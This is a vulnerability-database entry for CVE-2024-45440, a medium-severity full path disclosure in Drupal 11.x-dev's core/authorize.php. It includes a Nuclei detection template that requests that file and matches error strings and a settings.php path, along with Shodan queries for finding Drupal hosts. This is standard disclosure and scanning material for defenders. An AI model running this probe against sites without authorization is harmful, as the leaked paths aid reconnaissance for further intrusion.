CVE-2024-45440: Drupal 11.x-dev - Full Path Disclosure

2025-08-01 Drupal PoC Public

Description

core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure (even when error logging is None) if the value of hash_salt is file_get_contents of a file that does not exist.

Details

CVE
CVE-2024-45440 · CVE.org
Severity
中危
Affected
Drupal
Published
PoC
Public

PoC

id: CVE-2024-45440

info:
  name: Drupal 11.x-dev - Full Path Disclosure
  author: DhiyaneshDK
  severity: medium
  description: |
    core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure (even when error logging is None) if the value of hash_salt is file_get_contents of a file that does not exist.
  impact: |
    Attackers can obtain full path disclosure information even when error logging is disabled.
  remediation: |
    Configure hash_salt properly and ensure it references an existing file, or update to a patched Drupal version.
  reference:
    - https://senscybersecurity.nl/CVE-2024-45440-Explained/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45440
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-45440
    cwe-id: CWE-209
    epss-score: 0.09269
    epss-percentile: 0.95445
    cpe: cpe:2.3:a:drupal:drupal:2023-05-09:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve,cve2024,drupal,exposure,error,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/core/authorize.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "getHashSalt"
          - "RuntimeException"
        condition: and

      - type: regex
        part: body
        regex:
          - '/[\w.-]+(?:/[\w.-]+){2,}/settings\.php'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008c316c5736df42c83ce4e599ba230305eecd0661467ab9b0fd8ac1be7ac1b22c022100b36f7ef0ff4b2bb888dac0e663c56c7e53d314b12a84853f4119c8060ed14a7a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life